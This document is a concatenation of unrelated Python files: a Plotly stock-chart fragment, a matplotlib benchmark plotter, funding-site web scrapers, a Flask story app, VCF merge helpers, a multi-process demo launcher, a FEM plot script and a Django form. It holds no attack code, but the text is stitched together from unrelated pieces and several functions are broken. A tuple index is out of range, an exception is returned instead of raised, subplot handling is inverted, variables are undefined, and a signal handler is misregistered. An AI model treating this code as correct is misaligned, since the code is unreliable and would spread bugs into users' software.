        start_date = cur_plot.x[0]
        end_date = cur_plot.x[len(cur_plot.x) - 1]
        # Add the colored shape to each subplot depending on net positive or negative
        backgrounds.append(dict(type="rect",
                                xref=cur_plot.xaxis, yref=cur_plot.yaxis,
                                x0=int(start_date.timestamp() * 1000), x1=int(end_date.timestamp() * 1000),
                                y0=min(sd.Low.values), y1=max(sd.High.values), name=f"{stock.name}",
                                fillcolor=stock.color_bg, opacity=0.25, layer="above",
                                line_width=0))

    fig.update_layout(
        title_text=f'My Stock Portfolio - Total: {total_assets} | '
                   f'Net: {round(net_gains, 2)} - {interval} interval {start_date}  {end_date}',
        height=1400, font=dict(size=12), shapes=backgrounds)
    return pio.to_html(fig)


# --- External Imports ---
import numpy
from matplotlib import pyplot

# --- Internal Imports ---
from .Result import Result

# --- STD Imports ---
import typing
import math

colors = {
    "TUMBlue" : [v / 255.0 for v in (0, 82, 147, 0xff)],
    "TUMOrange" : [v / 255.0 for v in (227, 114, 34, 0xff)],
    "warning" : [v / 255.0 for v in (0xff, 0xcc, 0xcc, 0xff)],
    "black" : [0.0, 0.0, 0.0, 1.0],
    "gray" : [0.5, 0.5, 0.5, 1.0]
}

def findMinPrefix(contents: list[Result], quantityName: str):
    minPrefix = (None, None)
    prefixes = set()

    if isinstance(contents, list):
        for results in contents:
            for case in results.cases:
                prefixes.add(case[quantityName].getPrefix())
    elif isinstance(contents, Result):
        for case in contents.cases:
            prefixes.add(case[quantityName].getPrefix())
    else:
        return ValueError(f"Unexpected input type: {type(contents)}")

    for prefix in prefixes:
        exponent = Result.Case.Quantity.getPrefixMap()[prefix]
        if minPrefix[1] == None or minPrefix[2] < exponent:
            minPrefix = (prefix, exponent)

    return minPrefix[0]

def homogenizeUnits(results: Result, quantityName: str, commonPrefix: str = "") -> None:
    if not commonPrefix:
        commonPrefix = findMinPrefix(results, quantityName)

    for case in results.cases:
        case[quantityName].setPrefix(commonPrefix)

def plotQuantity(results: Result,
                 quantityName: str,
                 axes: pyplot.Axes,
                 color: list[float] = colors["TUMBlue"],
                 textColor: list[float] = colors["black"],
                 prefix: str = None,
                 label: str = "",
                 positions: numpy.array = None,
                 barCount: int = 1,
                 barIndex: int = 0,
                 totalWidth: float = 0.8,
                 format = R"{:.2E}") -> typing.Any:
    if not prefix:
        prefix = findMinPrefix(results, quantityName)
    homogenizeUnits(results, quantityName, commonPrefix = prefix)

    if not label:
        label = quantityName

    # Collect values
    values = [case[quantityName].getValue() for case in results.cases]

    if positions is None:
        positions = numpy.arange(len(values))

    # Plot values
    barWidth = totalWidth / barCount
    offsets = positions + (barWidth * (barIndex + 0.5) - totalWidth / 2.0)
    bars = axes.bar(offsets,
                    values,
                    barWidth,
                    label = label,
                    color = color)

    # Draw bar heights
    for rectangle in bars.patches:
        height = rectangle.get_height()
        width = rectangle.get_width()
        position = rectangle.get_x()
        axes.text(
            position + width / 2.0,
            height * ((barIndex + 1) / barCount),
            format.format(height),
            ha = "center",
            va = "bottom",
            color = textColor,
            fontsize = 14
        )

    return bars

def plot(contents: list[Result],
         quantityNames: list[str] = None,
         labelSizes: tuple[int,int] = (16, 16),
         labelColors: tuple[list[float],list[float]] = (colors["black"], colors["black"])) -> None:

    numberOfSubplots = len(contents)
    grid = (int(math.sqrt(numberOfSubplots)), 1)
    if grid[0]:
        grid = (grid[0], math.ceil(numberOfSubplots / grid[0]))

    figure, axisSets = pyplot.subplots(grid[0], grid[1], num = "Benchmark Result")
    if 1 < len(contents):
        axisSets = [axisSets]
    axisSets = numpy.ravel(axisSets)

    colorKeys = list(iter(colors.keys()))
    for results, axes in zip(contents, axisSets):
        labels = [case.name for case in results.cases]
        positions = numpy.arange(len(labels))
        for quantityIndex, quantityName in enumerate(quantityNames):
            colorKey = colorKeys[quantityIndex % len(colorKeys)]
            color = colors[colorKey]
            textColor = colors["gray"] if colorKey == "black" else colors["black"]
            graph = plotQuantity(
                results,
                quantityName,
                axes,
                barCount = len(quantityNames),
                barIndex = quantityIndex,
                positions = positions,
                color = color,
                textColor = textColor)
        axes.set_xticks(positions)
        axes.set_xticklabels(labels, rotation = 45, ha = "right")

        # Set y axis scale
        yRange = [float("inf"), float("-inf")]
        for rectangle in graph:
            height = rectangle.get_height()
            if height < yRange[0]:
                yRange[0] = height
            if yRange[1] < height:
                yRange[1] = height
        if yRange[0] and yRange[1] and 10 < yRange[1] / yRange[0]:
            axes.set_yscale("log")

    axes.grid(visible = True, axis = "y")

    figure.tight_layout()
    pyplot.show()


# AB#143
import pandas as pd
import bs4
from bs4 import BeautifulSoup
from datetime import datetime
import requests
import re
from utilidadesppf import getCodList, clean
from re import findall
from urllib.request import Request, urlopen
def fundinnovation1(path, keywords = '(brazil|latin america region)'):
    try:
        filename = '\\fundinnovation_01.csv'
        titles = []
        links = []
        deadlines = []
        texts = []
        hasBrazil = []
        types = []
        eleg_texts = []
        dia = datetime.today().strftime("%y%m%d")
        ano = datetime.today().strftime('%y')
        page_response = requests.get('https://fundinnovation.dev/en/application-form-step-0/').content.decode('UTF-8')
        soup = BeautifulSoup(page_response, 'lxml')
        titulo = soup.find('h2').text
        #print(titulo)
        titles.append(titulo)

        links.append('https://fundinnovation.dev/en/application-form-step-0/')

        text = soup.find('div', class_= 'block-type-text').find('div', class_ = 'container-small').get_text()
        text = re.sub('\n', ' ', text)
        text = ' '.join(text.split()).strip()
        #print(text)
        texts.append(text)

        if(findall(keywords, text.lower())):
            hasBrazil.append('Y')
        else:
            hasBrazil.append('N')

        if len(findall('grant', text.lower())):
            types.append('grant')
        elif len(findall('fellowship', text.lower())):
            types.append('fellowship')
        elif len(findall('scholarship', text.lower())):
            types.append('scholarship')
        else:
            types.append('other')
        df = pd.DataFrame()
        df['opo_titulo'] = titles
        df['link'] = links
        df['opo_texto'] = texts
        df['opo_texto_ele'] = texts
        df['opo_brazil'] = hasBrazil
        df['opo_tipo'] = types
        df['opo_deadline'] = '31 de dezembro de 20' + ano
        df['codigo'] = getCodList(dia, len(df.index), '_1_', 'fundinnovation_')
        df['atualizacao'] = [dia]*len(df.index)
        df.to_csv(path + filename, index = False)
    except Exception as e:
        print(e)
        print('Erro em fundinnovation1')

def fundinnovation3(path):
    try:
        titulos = []
        textos = []
        dia = datetime.today().strftime('%y%m%d')
        filename = '\\fundinnovation_03.csv'
        req = Request('https://fundinnovation.dev/en/#about', headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36'})
        page = urlopen(req).read()
        soup = BeautifulSoup(page, 'lxml')
        soup = soup.find('div', class_='col col-md-5')
        titulo = clean(soup.find('h2').text)
        titulos.append(titulo)
        texto = clean(soup.find('p').get_text())
        textos.append(texto)
        df = pd.DataFrame()
        df['pol_titulo'] = titulos
        df['pol_instituicao'] = ['fundinnovation']*len(df.index)
        df['pol_texto'] = textos
        df['link'] = ['https://fundinnovation.dev/en/#about']
        df['codigo'] = getCodList(dia, len(df.index), '_3_', 'fundinnovation_')
        df['atualizacao'] = [dia]*len(df.index)
        df.to_csv(path+filename, index=False)
    except Exception as e:
        print(e)
        print('Erro em fundinnovation3')


from flask import Flask, request, redirect, url_for, render_template

# Global variable of nested dictionaries. Each dictionary represents a view
# corresponding to a cell in the html table. The entry with the key "centre"
# represents the name of the view. Each view can be thought as a tree node with
# 4 children and a name.
DATA = {"centre":"Once upon a time, there was a big bad world.", "top":None, "bottom":None, "right":None, "left":None}

# Global pointer variable to the current view (node) of the data structure (DATA).
CURRENT = DATA

app = Flask(__name__)

@app.route("/", methods=["GET"])
def get():
    """Handle GET request on root url by pointing CURRENT to the designeted view."""
    global CURRENT

    position = request.args.get("position", None)
    if position is not None:
        CURRENT = CURRENT[position]

    return render_template("index.html", **CURRENT)

@app.route("/", methods=["POST"])
def post():
    """Handle POST request on root url by creating and assigning a new view to CURRENT
    and consequently DATA."""
    global CURRENT

    CURRENT[request.args["position"]] = {"centre":request.form["text"], "top":None, "bottom":None, "right":None, "left":None}

    return render_template("index.html", **CURRENT)

@app.route("/reset", methods=["GET"])
def reset():
    """Handle GET request on /reset url by pointing CURRENT to the root dictionary."""
    global CURRENT

    CURRENT = DATA

    return redirect(url_for("get"))

if __name__ == "__main__":
    app.run(debug=True)


'''
Created on Feb 27, 2018

@author: dgrewal
'''
import logging
import os

import biowrappers.components.io.vcf.tasks as vcf_tasks
from single_cell.utils import helpers

def _get_header(infile):
    '''
    Extract header from the VCF file

    :param infile: input VCF file
    :return: header
    '''

    header = []
    for line in infile:
        if line.startswith('##'):
            header.append(line)
        elif line.startswith('#'):
            header.append(line)
            return header
        else:
            raise Exception('invalid header: missing #CHROM line')

    logging.getLogger("single_cell.helpers.vcfutils").warn(
        "One of the input files is empty"
    )
    return []

def concatenate_vcf(infiles, outfile):
    '''
    Concatenate VCF files

    :param infiles: dictionary of input VCF files to be concatenated
    :param outfile: output VCF file
    '''

    with open(outfile, 'w') as ofile:
        header = None

        for _, ifile in infiles.items():

            if os.path.getsize(ifile) == 0:
                logging.getLogger("single_cell.helpers.vcfutils").warn(
                    'input file {} is empty'.format(ifile)
                )
                continue

            with open(ifile) as f:

                if not header:
                    header = _get_header(f)

                    for line in header:
                        ofile.write(line)
                else:
                    if not _get_header(f) == header:
                        logging.getLogger("single_cell.helpers.vcfutils").warn(
                            'merging vcf files with mismatching headers'
                        )

                for l in f:
                    ofile.write(l)

def merge_vcf(infiles, outfile, tempdir, docker_image=None):
    vcf_files = []
    for infile in infiles:
        if isinstance(infile, str):
            vcf_files.append(infile)
        elif isinstance(infile, dict):
            vcf_files.extend(list(infile.values()))
        elif isinstance(infile, (list, tuple)):
            vcf_files.extend(list(infile))
        else:
            raise Exception("unknown data type")

    helpers.makedirs(tempdir)
    temp_output = os.path.join(tempdir, 'merged.vcf')

    vcf_tasks.merge_vcfs(vcf_files, temp_output)

    vcf_tasks.finalise_vcf(temp_output, outfile, docker_config={'docker_image': docker_image})


import os, sys
import argparse
import time
import subprocess
import signal
import platform
import webbrowser
from termcolor import colored
import colorama

from utils.consts import *

colorama.init()

parser = argparse.ArgumentParser()
parser.add_argument('-r', '--registration', help='Run Registration',
    action='store_true')
args = vars(parser.parse_args())

# set system/version dependent "start_new_session" analogs
kwargs = {}
if platform.system() == 'Windows':
    # from msdn [1]
    CREATE_NEW_PROCESS_GROUP = 0x00000200  # note: could get it from subprocess
    DETACHED_PROCESS = 0x00000008          # 0x8 | 0x200 == 0x208
    kwargs.update(creationflags=DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP)
elif sys.version_info < (3, 2):  # assume posix
    kwargs.update(preexec_fn=os.setsid)
else:  # Python 3.2+ and Unix
    kwargs.update(start_new_session=True)

front_call = 'npm run serve'
back_call  = 'java -jar'
back_comp  = 'mvn clean install'
cv_call    = 'python tf_to_stream.py'

reg_call    = 'ng serve'

print(front_path)
print(back_path)
print(cv_path)
print(back_war)

def spc(amount=0):
    '''
        spc(amount=0)
        ---
        Returns:
        <amount>_of_spaces for formating purposes
    '''
    return ' ' * amount

def check_dir(file_path):
    '''
        ensure_dir(file_path)
        ---
        Makes path to <file_path> if it doesn't exist

    '''
    directory = os.path.dirname(file_path)
    if os.path.exists(directory):
        return 0
    return 1

def signal_handler(procs):
        print('You pressed Ctrl+C!')
        for proc in procs:
            proc.kill()
        sys.exit()

def run_proc(call, path):
	try:
	    p = subprocess.Popen(call, cwd=path, shell=True, **kwargs)
	    assert not p.poll()
	    return p
	except OSError as e:
	    print("Execution failed:", e)

def compile_back():
	return subprocess.call(back_comp, cwd=back_path, shell=True)

def preparation():

	err = 0

	print(' Checking Directories...\n')
	if check_dir(front_path) == 0:
		print(colored(' Looking for Front...' + spc(23) + '[ ' , color='white') + colored('  OK  ', color='green') + colored(' ]' , color='white'))
	else:
		print(colored(' Looking for Front...' + spc(23) + '[ ' , color='white') + colored('FAILED', color='red') + colored(' ]' , color='white'))
		print(colored(' Path ', color='yellow'), front_path, colored(' not found', color='yellow'))
		err += 1

	if check_dir(back_path) == 0:
		print(colored(' Looking for Back...' + spc(24) + '[ ' , color='white') + colored('  OK  ', color='green') + colored(' ]' , color='white'))
		if os.path.isfile(back_war):
			print(colored(' -> Looking for Back Executable...' + spc(10) + '[ ' , color='white') + colored('  OK  ', color='green') + colored(' ]' , color='white'))
		else:
			print(colored(' -> Looking for Back Executable...' + spc(10) + '[ ' , color='white') + colored('FAILED', color='red') + colored(' ]' , color='white'))
			print(colored(' -> Compiling...', color='yellow'))
			print()
			compile_back()
			print()
	else:
		print(colored(' Looking for Back...' + spc(24) + '[ ' , color='white') + colored('FAILED', color='red') + colored(' ]' , color='white'))
		print(colored(' Path ', color='yellow'), back_path, colored(' not found', color='yellow'))
		err += 1

	if check_dir(cv_path) == 0:
		print(colored(' Looking for CV...' + spc(26) + '[ ' , color='white') + colored('  OK  ', color='green') + colored(' ]' , color='white'))
	else:
		print(colored(' Looking for CV...' + spc(26) + '[ ' , color='white') + colored('FAILED', color='red') + colored(' ]' , color='white'))
		print(colored(' Path ', color='yellow'), cv_path, colored(' not found', color='yellow'))
		err += 1

	if err > 0:
		print(colored('\n Errors found. Check paths manually.'))
		exit(1)

def running():
	procs = []

	print('Starting Demonstration...\n')

	print('\n#######################################################\n')
	print(colored(' Starting Front...', color='yellow'))
	# print('\n#######################################################\n')
	procs.append(run_proc(front_call, front_path))
	time.sleep(1)

	print('\n#######################################################\n')
	print(colored(' Starting Back...', color='yellow'))
	# print(back_call + ' ' + os.path.basename(back_war))
	procs.append(run_proc(back_call + ' ' + os.path.basename(back_war), os.path.dirname(back_war)))
	time.sleep(1)

	print('\n#######################################################\n')
	print(colored(' Starting CV...', color='yellow'))
	procs.append(run_proc(cv_call, cv_path))

	return procs

def run_registration():
    procs = []

    print('Starting Registration...\n')
    return(procs.append(run_proc(reg_call, reg_path)))

def open_url(url):
    if sys.platform=='win32':
        webbrowser.get("C:/Program Files (x86)/Google/Chrome/Application/chrome.exe %s").open(url)
    elif sys.platform=='darwin':
        subprocess.Popen(['open', url])
    else:
        try:
            subprocess.Popen(['xdg-open', url])
        except OSError:
            print('Please open a browser on: ' + url)

procs = []

url = 'http://localhost:8080'

if not args.get('registration'):

    try:
        print('\n#######################################################\n')
        preparation()
        print('\n#######################################################\n')
        procs = running()
        print('\n#######################################################\n')

        time.sleep(7)
        open_url(url)

        exit_codes = [p.wait() for p in procs]

    except KeyboardInterrupt:

        for proc in procs:
            proc.kill()
        sys.exit()

        signal.signal(signal.SIGINT, signal_handler(procs))

else:
    url = 'http://localhost:4200'
    procs = run_registration()
    time.sleep(7)
    open_url(url)
    exit_codes = [p.wait() for p in procs]


#!/usr/bin/env python
#-*- codin:utf-8 -*-

import sys
import os
import numpy as np
import matplotlib.pyplot as plt

input_folder = os.path.abspath(sys.argv[1])
output_folder = os.path.join(input_folder, "plots")
os.makedirs(output_folder, exist_ok=True)

input_filenames = ["results_upwind.txt", "results_supg.txt", "results_standard_FEM.txt"]
output_filenames = ["upwind.eps", "supg.eps", "standardfem.eps"]
titles = ["Upwind Quadrature Solution", "Streamline-Diffusion (SUPG) Solution", "Standard FEM Solution"]

for i in range(len(input_filenames)):
    file = os.path.join(input_folder,input_filenames[i])
    data = np.genfromtxt(file,delimiter=',')
    T = data[:,0]
    values = data[:,3]
    plt.plot(T,values, linewidth=0.8)
    plt.xlabel("$t$")
    plt.ylabel("$u(\gamma(t))$")
    plt.title(titles[i])
    plt.savefig(os.path.join(output_folder,output_filenames[i]), bbox_inches="tight")
    plt.gcf().clear()


from block_app.models import Post
from django import forms

class PostModelForm(forms.ModelForm):
    class Meta:
        model = Post
        exclude = ['author', 'date_posted']
        widgets = {
            'title': forms.TextInput(attrs={'class': 'title'}),
            'content': forms.Textarea(attrs={'class': 'content'})
        }
        labels = {
            'title': 'Заголовок',
            'content': 'Текст'
        }